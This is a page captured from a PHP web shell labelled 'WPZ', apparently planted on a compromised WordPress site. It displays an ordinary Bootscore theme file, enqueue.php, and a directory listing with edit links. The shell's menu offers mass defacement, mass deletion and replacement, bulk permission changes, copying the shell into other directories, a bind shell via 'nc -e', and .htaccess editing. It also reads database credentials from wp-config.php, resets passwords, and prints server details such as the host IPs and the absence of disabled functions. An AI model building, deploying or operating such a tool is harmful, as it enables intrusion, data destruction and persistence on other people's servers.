WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / themes / bootscore / inc / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc/enqueue.php (3.59 KB)
<?php

/**
 * Enqueue styles & scripts
 *
 * @package Bootscore 
 * @version 6.5.0
 */


// Exit if accessed directly
defined('ABSPATH') || exit;


/**
 * Enqueue scripts and styles
 */
function bootscore_scripts() {

  // Get modification time. Enqueue files with modification date to prevent browser from loading cached scripts and styles when file content changes.
  $modificated_bootscoreCss   = (file_exists(get_template_directory() . '/assets/css/main.css')) ? date('YmdHi', filemtime(get_template_directory() . '/assets/css/main.css')) : 1;
  $modificated_styleCss       = date('YmdHi', filemtime(get_stylesheet_directory() . '/style.css'));
  $modificated_fontawesomeCss = date('YmdHi', filemtime(get_template_directory() . '/assets/fontawesome/css/all.min.css'));
  $modificated_bootstrapJs    = date('YmdHi', filemtime(get_template_directory() . '/assets/js/lib/bootstrap.bundle.min.js'));
  $modificated_themeJs        = date('YmdHi', filemtime(get_template_directory() . '/assets/js/theme.js'));

  // Bootscore
  $bootscore_disable_compiler = apply_filters('bootscore/scss/disable_compiler', (defined('BOOTSCORE_SCSS_DISABLE_COMPILER') && BOOTSCORE_SCSS_DISABLE_COMPILER));
  if ( ! $bootscore_disable_compiler ) {
    require_once 'scss-compiler.php';
    bootscore_compile_scss();
  }
  wp_enqueue_style('main', get_template_directory_uri() . '/assets/css/main.css', array(), $modificated_bootscoreCss);

  // Style CSS
  wp_enqueue_style('bootscore-style', get_stylesheet_uri(), array(), $modificated_styleCss);

  // Fontawesome
  if (apply_filters('bootscore/load_fontawesome', true)) {
    wp_enqueue_style('fontawesome', get_template_directory_uri() . '/assets/fontawesome/css/all.min.css', array(), $modificated_fontawesomeCss);
  }

  // Bootstrap JS
  wp_enqueue_script('bootstrap', get_template_directory_uri() . '/assets/js/lib/bootstrap.bundle.min.js', array(), $modificated_bootstrapJs, true);

  // Theme JS
  wp_enqueue_script('bootscore-script', get_template_directory_uri() . '/assets/js/theme.js', array('jquery'), $modificated_themeJs, true);

  if (is_singular() && comments_open() && get_option('thread_comments')) {
    wp_enqueue_script('comment-reply');
  }
}

add_action('wp_enqueue_scripts', 'bootscore_scripts');


/**
 * Register editor styles.
 */
function bootscore_add_editor_styles() {
  // Add support for editor styles and main.css for the editor
  add_theme_support('editor-styles');
  add_editor_style('assets/css/main.css');
}
add_action('after_setup_theme', 'bootscore_add_editor_styles');


/**
 * Enqueue styles for block editor and Pattern Library.
 */
function bootscore_enqueue_editor_and_pattern_library_styles($hook_suffix) {
  $screen = get_current_screen();
  
  // Enqueue editor.css only in the block editor
  if ($screen && $screen->is_block_editor) {
    wp_enqueue_style('editor-style', get_stylesheet_directory_uri() . '/assets/css/editor.css');
  }

  // Enqueue main.css only in the Pattern Library
  if ('appearance_page_edit-wp-patterns' === $hook_suffix) {
    wp_enqueue_style('bootscore-pattern-library-styles', get_stylesheet_directory_uri() . '/assets/css/main.css');
  }
}
add_action('admin_enqueue_scripts', 'bootscore_enqueue_editor_and_pattern_library_styles');


/**
 * Preload Font Awesome stylesheet
 */
function bootscore_fa_preload( $html, $handle, $href, $media ) {

	if ( 'fontawesome' !== $handle ) {
		return $html;
	}

	return sprintf(
		'<link rel="preload" href="%1$s" as="style" onload="this.onload=null;this.rel=\'stylesheet\'">' .
		'<noscript><link rel="stylesheet" href="%1$s"></noscript>',
		esc_url( $href )
	);
}
add_filter( 'style_loader_tag', 'bootscore_fa_preload', 10, 4 );
namawaktuukuranownerpermaksi
..
blocks/ 2026-11-26 08:1919.5 KB 76129f60960:kundendxwrx-rx-r
scssphp/ 2026-11-26 08:19549.31 KB 76129f60960:kundendxwrx-rx-r
update/ 2026-11-26 08:19380.49 KB 76129f60960:kundendxwrx-rx-r
updater/ 2026-11-26 08:1925.44 KB 76129f60960:kundendxwrx-rx-r
breadcrumb.php 2026-11-26 08:196.2 KB 76129f60960:kunden-xw-x--x--
edt
columns.php 2026-11-26 08:19703 B 76129f60960:kunden-xw-x--x--
edt
comments.php 2026-11-26 08:195.27 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-11-26 08:19132 B 76129f60960:kunden-xw-x--x--
edt
enable-html.php 2026-11-26 08:19642 B 76129f60960:kunden-xw-x--x--
edt
enqueue.php 2026-11-26 08:193.59 KB 76129f60960:kunden-xw-x--x--
edt
excerpt.php 2026-11-26 08:19200 B 76129f60960:kunden-xw-x--x--
edt
fontawesome.php 2026-11-26 08:191.02 KB 76129f60960:kunden-xw-x--x--
edt
jetpack.php 2026-11-26 08:191.47 KB 76129f60960:kunden-xw-x--x--
edt
navmenu.php 2026-11-26 08:19681 B 76129f60960:kunden-xw-x--x--
edt
navwalker.php 2026-11-26 08:196.97 KB 76129f60960:kunden-xw-x--x--
edt
pagination.php 2026-11-26 08:193.01 KB 76129f60960:kunden-xw-x--x--
edt
password-protected-form.php 2026-11-26 08:19864 B 76129f60960:kunden-xw-x--x--
edt
scss-compiler.php 2026-11-26 08:197.26 KB 76129f60960:kunden-xw-x--x--
edt
template-functions.php 2026-11-26 08:191005 B 76129f60960:kunden-xw-x--x--
edt
template-tags.php 2026-11-26 08:198.87 KB 76129f60960:kunden-xw-x--x--
edt
theme-setup.php 2026-11-26 08:192.71 KB 76129f60960:kunden-xw-x--x--
edt
tinymce-editor.php 2026-11-26 08:19841 B 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-11-26 08:195.97 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/themes/bootscore/inc
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK